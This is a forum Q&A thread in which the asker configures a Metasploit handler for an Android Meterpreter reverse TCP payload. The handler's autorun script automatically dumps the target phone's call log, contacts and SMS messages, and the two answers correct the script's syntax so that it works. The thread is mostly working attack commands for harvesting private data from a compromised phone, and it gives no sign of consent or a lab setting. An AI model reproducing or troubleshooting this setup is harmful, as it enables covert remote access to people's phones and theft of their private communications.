0

I can not run the autorun script in my terminal. I want to dump call, message, and contact from android.

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST ip
set LPORT 444
set AutoRunScript multi_console_command -rc cmd.rc
exploit -j -z

in cmd.rc file I wrote these line

dump_calllog
dump_cantacts
dump_sms

but its not works.

halfer
  • 19,824
  • 17
  • 99
  • 186
Raj Raja
  • 1
  • 2

2 Answers2

0

Change -rc to -r

set AutoRunScript multi_console_command  -r cmd.rc

Should do the trick. This has been documented in an issue ticket on the official github project of metasploit.

octavian
  • 9
  • 6
0

As mentioned by Papia roy chowdhury, the syntax of the multi_console_command command changed, as per this pull request in the official Github repository.

The syntax now is as follows:

set AutoRunScript multi_console_command  -r cmd.rc
octavian
  • 9
  • 6